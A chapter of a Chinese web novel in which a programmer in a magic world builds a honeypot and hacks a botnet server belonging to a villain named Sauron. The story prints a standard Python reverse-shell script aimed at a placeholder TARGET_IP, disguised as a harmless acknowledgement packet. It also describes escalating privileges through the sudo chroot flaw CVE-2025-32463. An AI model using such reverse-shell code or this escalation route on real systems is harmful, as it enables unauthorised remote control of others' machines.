第4章 蜜罐,反彈shell,直通王座的狗洞
書名: 異世界不信魔法,信Python作者名: 暮秋muqu本章字數: 5130字更新時間: 2025-07-13 10:20:40
日子一天天過去,學院的生活平靜得像一潭死水。
林天完美地扮演著一個孤僻而勤奮的天才學徒。他白天跟著葛德學習那些在他看來漏洞百出的魔法史和符文學,偶爾去圖書館翻閱一些基礎理論,將這個世界的官方文檔與他從禁書區獲取的錯誤日志相互印證。
而那枚被他命名為嗅探器的護符,正靜靜地躺在葛德的懷里,像一個耐心的釣魚佬,等待著那條隱藏在深淵中的大魚咬鉤。
等待是漫長的,但林天有的是事做。他將主要的精力,投入到了一個更基礎,也更核心的研究上——魔力。
這個世界的根本能源,魔力,到底是什么?
法師們認為,魔力是女神的恩賜,是流淌在世界血脈中的以太。他們通過冥想,將外界的游離魔力吸入體內,儲存在“精神之海”中。施法,就是消耗這些儲存的魔力。
在林天看來,這純屬扯淡。
經過多日的觀察和數據分析,一個大膽而荒謬的結論,在他腦中逐漸成型。
這天下午,他把自己關在宿舍里,面前擺放著兩個東西:一顆從工坊借來的、充滿了能量的初級魔力水晶,以及他的寶貝黑盒子。他用兩根精密的銀絲,將水晶與黑盒子的一個GPIO引腳連接起來,構成了一個簡單的檢測回路。
然后,他打開了樹莓派的系統監控界面 htop。
【root@raspberrypi:~# htop】
屏幕上,CPU的四個核心占用率,正以極低的水平輕微波動著,基本都在1%以下。
接著,林天拿起那塊水晶,開始按照最基礎的“魔力引導術”,嘗試從中抽取能量。這是一個魔法學徒都會的技巧,就像從充電寶里給手機充電一樣。
一股微弱但清晰的能量流,順著銀絲,開始涌入黑盒子。
就在此時,htop監控界面上,一個核心的占用率,突然開始向上攀升!
1%... 5%... 15%...
隨著他加大抽取力度,那個核心的綠色進度條就像打了雞血一樣,一路飆升到了99%!風扇(雖然沒有實體風扇,但系統模擬出了這個機制)的轉速監控也開始報警。
林天立刻停止了抽取。
CPU占用率,應聲回落。
他又反復試了幾次,結果完全一樣。所謂的“魔力”,與CPU的計算資源消耗,呈現出完美的正相關。
他癱坐在椅子上,眼神失焦,嘴里無意識地吐出了幾個字。
“我操……”
真相,簡單到粗暴,又荒謬到讓人無法置信。
這個世界根本就沒有什么狗屁的魔法女神。
只有一個巨大的、唯一的、性能深不可測的云端服務器。
而所謂的魔力,就是那臺服務器分配給每個用戶的……CPU時間片。單位,或許就是核·秒。
法師們拼死拼活地冥想,不是在吸收什么天地精華,他們是在他媽的給自己的云端賬戶充值!那些魔力水晶,也不是什么能量結晶,它們就是預付費的CPU點卡!
而施法,就是運行一段代碼,消耗掉賬戶里的CPU核時。一個火球術可能需要消耗0.5個核時,一個傳送術可能需要10個,而一個禁咒,或許要燒掉成千上萬個核時。
如果賬戶余額不足,施法就會失敗,甚至因為強行透支,導致賬戶被凍結,也就是所謂的魔力枯竭。
這個發現,讓林天感覺整個世界觀都被顛覆了,然后又被重塑了。
他現在理解了,為什么本地運行代碼(在腦子里推演法術)不消耗魔力,但會頭痛欲裂——因為那是在用你自己的生物CPU硬跑,跑多了當然會過載。
他也理解了,為什么空間儲存魔法那么垃圾——因為那臺服務器的開發者,偷懶用了最低效的文檔數據庫來實現,每一次查詢(取東西),都相當于一次全盤掃描,CPU占用能不高嗎?
“一個由程序員創造,又被一群傻逼程序員維護的……屎山世界。”林天最終給出了定義。
就在他沉浸在這巨大發現帶來的震撼中時,黑盒子突然發出了一陣急促的、只有他能“聽”到的警報。
【警告!外部設備嗅探器發來高危警報!】
【檢測到一次短暫的、極高強度的加密通訊!】
【數據包已捕獲,正在分析……】
林天精神一振,魚,上鉤了!
他立刻將意識完全沉入樹莓派。屏幕上,一個剛剛被傳輸回來的數據包,正靜靜地躺在那里。葛德那個老頭,肯定又在禁書區附近瞎晃悠,被動地記錄下了這次通訊。
數據包的體積很小,只有幾KB,但加密強度極高。
“AES-256?不對……更復雜。”林天調動了樹莓派里所有能用得上的解密工具和算法庫,開始嘗試破解。
時間一分一秒地過去。樹莓派的CPU占用率再次飆升,但這一次,是為了破解。
幾個小時后,在耗盡了林天好不容易“充值”來的大部分“魔力”后,伴隨著一聲清脆的提示音,加密被暴力破解開了一個微小的缺口。
大部分數據依舊是亂碼,但其中一小段明文,暴露了出來。
那是一段配置文件。
# Sauron_Botnet_Node_Config.ini
# Version: 2.1 'Balrog'
# C&C Server: 127.0.0.1:6667
# Protocol: IRC-based, with custom encryption layer.
# Target:'The Core'
...
林天的手,開始微微顫抖。
Sauron,索倫。果然是那個家伙。
這他媽不是一個簡單的病毒,這是一個僵尸網絡(Botnet)!那個藏在禁書區的刀片服務器,就是這個網絡的命令與控制中心(C&C Server)!
而這段信息,是它下發給某個潛伏節點的任務指令。
它的目標,是一個叫做“The Core”,也就是核心的東西。它的任務,是竊取一份名為創世法典的代碼。
林天的大腦飛速運轉。這個世界如果是臺服務器,那么,核心很可能指的就是服務器最底層的操作系統內核,或者物理上的CPU本身。而創世法典,用腳指頭想也知道,那絕對是構建這個世界的最最底層的源代碼!
那個病毒成精的刀片服務器,那個該死的索倫,它不僅僅是在這個世界里惡作劇和搞破壞。
它在圖謀整個世界的最高權限。
它想成為……這個世界的……神。
而就在林天思考這些的時候,被破解的配置文件下方,還有一行小字,引起了他的注意。
# Note: New potential node detected. ID: Gerd_oldver. Status: Monitoring. Low value.
看到這行字,林天背后的寒毛瞬間炸了起來。
葛德……被標記了。
那個索倫,通過葛德佩戴的嗅探器,不僅發現了探針的存在,還反向追蹤到了葛德本人,并將他列為了一個低價值的、可被發展的潛在肉雞!
這已經不是在釣魚了。
這是他媽的在跟一條成了精的、會反追蹤的、懂得設置陷阱的史前巨鯊,玩一場不要命的攻防戰。
林天盯著那行“Status: Monitoring. Low value.”,翻了個白眼。
索倫,那個藏在黑暗中的鬼東西,不僅標記了葛德,還給他貼上了一個低價值的標簽。這既是羞辱,也是一個機會。一個自大的攻擊者,在面對它眼中的低腳色時,往往會放松警惕。
“你想監控?好啊,我給你專門搭個舞臺,讓你看個夠。”
林天沒有立刻告訴葛德他被盯上了。告訴一個連TCP/IP協議都理解不了的老頭,他被一個潛伏的僵尸網絡C&C服務器給標記了,除了讓他陷入無謂的恐慌,沒有任何意義。
真正的保護,不是在他門口裝一把鎖,而是要構建一套縱深防御體系,在敵人打到門口之前,就讓他死在半路上。
他要做兩件事:設置一個蜜罐,然后準備好自己的反向滲透工具。
接下來的幾天,林天把自己關在宿舍里,幾乎足不出戶。他對葛德的說法是,他在消化從禁書區得到的感悟,需要深度冥想。
葛德對此深信不疑,還體貼地幫他拒絕了所有訪客,并每天準時把三餐放在門口,像個伺候月子的老媽子。
而林天的意識,則在他的黑盒子里,進行著一場史無前例的瘋狂編碼。
首先是蜜罐。
他需要創造一個虛假的、看起來和葛德一模一樣,但實際上完全在他的掌控之下的環境。
root@raspberrypi:~/honeypot# vim fake_gerd_env.py
他開始編寫一個模擬程序。這個程序的核心功能,是模擬一個典型的、老年法師的特征。
class OldMageEnv:
def __init__(self):
self.python_version =“2.7.3“
self.known_spells =[“fireball_v2“,“mana_shield_v1“,“gout_treatment“]
self.memory_leaks_probability = 0.85
self.response_latency =“300-500ms“
self.vulnerabilities =[“CVE-2014-114“,“CVE-2015-514“]
def process_request(self, request):
time.sleep(self.response_latency)
if random.random()< self.memory_leaks_probability:
return“Error: Segmentation Fault.“
else:
return“Processing...“
他給這個虛擬環境設置了一個極其老舊的Python 2.7.3版本,幾個老年人常用的、帶有已知漏洞的低階法術,以及高達85%的概率在處理任何請求時都會出錯。
這個蜜罐,從外面看,就是一個又老、又慢、又破、渾身都是漏洞的完美靶子。
然后,他在這個蜜罐的每一層都布滿了日志記錄和陷阱。任何對這個環境的掃描、連接、代碼注入,都會被一五一十地記錄下來。
接著,是更關鍵的一步:反向滲透工具。
林天要的不是簡單的反擊,他要順著索倫的連接,把自己的探針種到索倫的老巢里去。
他開始編寫一個極其小巧、極其隱蔽的反彈Shell腳本。這個腳本被他偽裝成了一個看似無害的數據包確認回執。
root@raspberrypi:~/reverse_shell# vim probe.py
import socket, subprocess, os
def send_probe():
#攻擊者的IP和端口會被動態替換
hacker_ip =“TARGET_IP“
hacker_port =“TARGET_PORT“
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hacker_ip, hacker_port))
#復制文件描述符,重定向標準輸入輸出
os.dup2(s.fileno(), 0)#標準輸入
os.dup2(s.fileno(), 1)#標準輸出
os.dup2(s.fileno(), 2)#標準錯誤
#彈一個bash shell回去
p = subprocess.call([“/bin/bash“,“-i“])
這個腳本一旦在目標系統上成功運行,就會立刻反向連接到林天指定的端口,并把一個交互式的Shell終端送回來。
準備工作完成。現在,只剩下最后一步——部署。
林天找到了葛德,表情凝重地對他說:“葛德,我最近的研究有了一個突破。我發現了一種方法,可以為你制作一個靈魂鏡像護符。這個護符能將大部分惡意的精神探測和詛咒,都轉移到這個鏡像上,讓你的本體安然無恙。”
葛德一聽,激動得差點又跪下。“老師!這……這就是傳說中的替身神術?”
“差不多是這個意思。”林天把一枚新做的、看起來和他之前給葛德那個嗅探器一模一樣的護符交給他,“把舊的那個給我,以后你就戴著這個。記住,無論它發生什么反應,都不要去管它,照常生活就行。”
葛德毫不猶豫地換上了新的護符。他不知道,這個新護符的核心,就是林天精心構建的那個蜜罐的接入點。任何對葛德的探測,都會被這枚護符悄無聲息地重定向到林天的樹莓派上,由那個“虛擬老葛德”來應對。
而那個被換下來的、已經被索倫信任的舊護符,則被林天拿了回來,他要用它來做更危險的事情。
布局完成。
林天就像一個最耐心的獵人,靜靜地等待著。他知道,索倫的掃描是周期性的。那頭自大的鯊魚,遲早會再來探望它眼中那個低價值的節點。
三天后的一個深夜。
林天正在閉目養神,他懷里的黑盒子突然爆發出一連串急促的警報。
來了!
他立刻沉入樹莓派的控制臺。只見蜜罐的日志正以驚人的速度刷新著。
Honeypot Log:
Connection attempt from 127.0.0.1
Target identified as 'fake_gerd_env'. Emulating Python 2.7.3...
Scanner is probing for known vulnerabilities... CVE-2014-114 detected.
Scanner is attempting to inject a payload... Payload captured.
索倫的自動化攻擊程序,像一個沒有感情的機器人,一絲不茍地掃描著林天為它準備的“假葛德”。它發現了預設的漏洞,并毫不猶豫地注入了一段代碼。
林天立刻將這段捕獲的載荷(payload)進行分析。和他預想的一樣,這是一段用于建立長期監控的后門代碼。
但就在索倫的程序以為自己得手,準備接收后門返回的信息時,林天按下了他的回車鍵。
他啟動了那個被換下來的、被索倫信任的舊護符。
然后,通過這個受信任的通道,他將自己那個偽裝成數據包確認回執的反彈Shell腳本,朝著索倫的來路,原路發送了回去!
這是一個極其大膽的賭博!
他在賭,索倫的C&C服務器,在與它認為的低價值肉雞通訊時,會放松對返回數據的校驗!
root@raspberrypi:~/reverse_shell# python launch_attack.py
林天的控制臺,陷入了一片死寂。
一秒。
兩秒。
11.4514秒。
什么都沒有發生。
林天的心沉了下去。失敗了?被對方的防火墻攔截了?
就在他以為計劃失敗,準備切斷所有連接,清除痕跡的時候。
他的屏幕上,突然,毫無征兆地,跳出了一行新的字符。
那不是他熟悉的綠色root@raspberrypi。
而是一行深紅色的……
[sauron@localhost ~]$
成功了。
他的探針,穿透了重重防御,成功在那個該死的刀片服務器上運行,并把一個Shell,一個屬于“索倫”這個用戶的普通權限Shell,反彈了回來。
他,林天,一個三流的Python程序員。
在這一刻,成功地黑進了這Boss的電腦。
他看著那個閃爍的光標,手心全是汗。他知道,從現在開始,每敲擊一個字符,都可能是一場決定命運的戰爭。
他緩緩地,敲下了他登陸這臺服務器后的第一個命令,然后按下了回車。
[sauron@localhost ~]$ ls -al
total 24
drwx------. 3 sauron sauron 4096 Jul 12 04:20 .
drwxr-xr-x. 4 root root 4096 Jun 01 2024 ..
-rw-------. 1 sauron sauron 345 Jul 12 04:21 .bash_history
-rw-r--r--. 1 sauron sauron 18 May 11 2024 .bash_logout
-rw-r--r--. 1 sauron sauron 193 May 11 2024 .bash_profile
-rw-r--r--. 1 sauron sauron 231 May 11 2024 .bashrc
-rwxr-xr-x. 1 root root 8192 Jul 11 23:58 Sauron.exe
林天的瞳孔猛地一縮。
他的目光死死鎖定了最后那一行。
Sauron.exe。
他媽的,還真是個exe文件。林天心里冷笑一聲,這反而暴露了對方的出身。
在Linux或者類Unix系統里,文件的后綴名P用沒有,它不像Windows那樣靠后綴來識別文件類型。一個文件能不能執行,只看它有沒有被賦予x,也就是可執行權限。這個病毒的制造者,給他這個核心程序起名為exe,要么是長久以來在Windows平臺養成的習慣,要么就是一種惡趣味的炫耀。
林天沒有輕舉妄動。他現在只是個普通用戶sauron,對這個root所有的核心程序,他連刪除的權限都沒有。
他需要提權。
他深吸一口氣,開始快速地檢查這個系統的基本信息。這就像一個醫生在做手術前,必須先了解病人的血壓、心跳和過敏史。
他敲下uname -a,查看內核版本。
Linux localhost 4.18.0 ... x86_64 ...
一個相當老的內核版本,漏洞估計跟篩子一樣多。
然后,是最關鍵的一步,檢查sudo的版本。
sudo --version
Sudo version 1.9.15p2
Sudoers policy plugin version 1.9.15p2
Sudoers file grammar version 46
...
當看到版本號1.9.15p2時,林天的嘴角,不受控制地向上揚起。
他笑了。一種冰冷的、看到了獵物死期的笑容。
他對業內的重大安全事件了如指掌。就在他穿越前不久,安全圈爆出了一個驚天大瓜:一個潛伏多年的sudo漏洞被公之于眾,代號CVE-2025-32463。
這個漏洞,被安全研究員戲稱為chroot to root,也就是“從chroot到根權限”。它允許系統上的任何本地用戶,利用sudo在處理--chroot參數時的邏輯缺陷,加載一個用戶自己編寫的、惡意的動態鏈接庫(.so文件),而這個加載過程,是在root權限下完成的。
簡單來說,只要系統上的sudo版本低于1.9.17p1,任何一個普通用戶,都能用幾行代碼,不費吹灰之力地讓自己變成神。
而眼前這臺服務器的sudo版本是1.9.15p2,完美地躺在漏洞的攻擊范圍之內。
索倫,這個與世隔絕的病毒,顯然還不知道,它的神國,存在著一個直通王座的狗洞。
林天沒有耽擱一秒鐘。他必須在索倫的監控程序發現這個異常連接之前,完成提權并干掉它。